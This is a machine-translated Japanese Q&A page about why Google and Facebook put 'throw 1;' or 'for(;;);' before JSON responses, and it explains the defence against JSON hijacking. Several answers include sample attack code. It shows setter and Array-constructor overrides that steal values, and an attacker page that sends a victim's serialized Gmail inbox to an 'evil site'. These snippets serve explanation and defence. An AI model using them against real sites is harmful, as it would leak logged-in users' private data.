web-dev-qa-db-ja.com

なぜ人々は「throw 1; <dont be evil>」や「for(;;);」のようなコードを置くのですか? JSON応答の前に?

可能性のある複製:
なぜGoogleはwhile(1)をJSON応答に追加するのですか?

Googleはjsonを次のように返します。

_throw 1; <dont be evil> { foo: bar}
_

facebookのajaxには次のようなjsonがあります:

_for(;;); {"error":0,"errorSummary": ""}
_
  • 実行を停止し、無効なjsonを作成するコードを配置するのはなぜですか?
  • 無効な場合、どのように解析し、評価しようとするとクラッシュしますか?
  • 彼らはそれを文字列から削除するだけですか?
  • これにセキュリティ上の利点はありますか?

セキュリティを目的とすることに応じて:

スクレーパーが別のドメインにある場合、XHRはクロスドメインでは機能しないため、scriptタグを使用してデータを取得する必要があります。 for(;;);がなくても、攻撃者はどのようにしてデータを取得しますか?変数に割り当てられていないので、それへの参照がないので、単にガベージコレクションされませんか?

基本的に、ドメインをまたいでデータを取得するには

_<script src="http://target.com/json.js"></script>
_

ただし、クラッシュスクリプトを前に付加しなくても、攻撃者はグローバルにアクセスできる変数に割り当てられない限り、Jsonデータを使用できません(これらの場合はそうではありません)。クラッシュコードは、サーバー側のスクリプトを使用してサイトのデータを使用する必要があるため、効果的には何もしません。

207

for(;;);がなくても、攻撃者はどのようにしてデータを取得しますか?

攻撃は、組み込み関数、特にObjectArrayの動作を、コンストラクター関数またはそのprototypeを変更することにより変更することに基づいています。次に、ターゲットJSONが{...}または[...]コンストラクト、それらは攻撃者自身のオブジェクトのバージョンであり、潜在的に予期しない動作をします。

たとえば、セッタープロパティをObjectにハックすると、オブジェクトリテラルで記述された値を裏切ることができます。

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

その後、<script>は、そのプロパティ名を使用したJSONを指しています。

{"x": "hello"}

"hello"がリークされます。

配列リテラルとオブジェクトリテラルがセッターを呼び出す方法については議論の余地があります。 Firefoxは、知名度の高いWebサイトに対する公表された攻撃に対応して、バージョン3.5の動作を削除しました。ただし、執筆時点では、Safari(4)およびChrome(5)は依然としてこれに対して脆弱です。

すべてのブラウザーで現在許可されていない別の攻撃は、コンストラクター関数を再定義することです。

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

そして今のところ、IE8のプロパティの実装(ECMAScript Fifth Edition標準とObject.defineProperty)現在、Object.prototypeまたはArray.prototype

しかし、過去のブラウザを保護するだけでなく、JavaScriptの拡張機能が将来同様の種類のより多くの潜在的なリークを引き起こす可能性があり、その場合、チャフはそれらに対しても保護する必要があります。

186
bobince

あなたのGMailアカウントを確認した後、あなたが私の邪悪なページに行くことを考慮してください:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

これから起こることは、グーグルから来たJavascriptコード(アスカーは良性ですぐに範囲外になると思っていた)が実際に私の邪悪なサイトに投稿されるということです。スクリプトタグで要求されたURLが送信するとします(ブラウザが適切なCookieを提示するため、Googleはあなたが受信トレイにログインしていると正しく判断します):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

次に、このオブジェクトのシリアル化されたバージョンを悪のサーバーに投稿します。ありがとうございました!

これを防ぐ方法は、JSON応答を削除し、同じドメインからそのデータを操作できる場合に応答を削除することです。この回答が気に入ったら、bobinceが投稿したものを受け入れてください。

57
Jesse Dhillon

[〜#〜] edit [〜#〜]

これらの文字列は一般に「解析不能なクラフト」と呼ばれ、JSON仕様に影響する情報漏洩の脆弱性を修正するために使用されます。この攻撃は現実世界であり、 Gmailの脆弱性がJeremiah Grossmanによって発見されました 。また、MozillaはこれがJSON仕様の脆弱性であると考えており、 Firefox 3で修正済み です。ただし、この問題は他のブラウザにも影響を与えるため、互換性のあるパッチであるため、この「解析できないクラフト」が必要です。

Bobiceの答えには、この攻撃の技術的な説明があり、正しいです。

23
rook

無効な場合、どのように解析し、評価しようとするとクラッシュしますか?

これは機能です。eval itをしようとするとクラッシュします。 evalは、クロスサイトスクリプティング攻撃に使用される可能性がある任意のJavaScriptコードを許可します。

彼らは文字列からそれを削除するだけですか?

そう思います。おそらく次のようなもの:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

「邪悪にならない」ことで、開発者はより安全な代替手段の代わりにevalを直接使用できなくなります。

5
dan04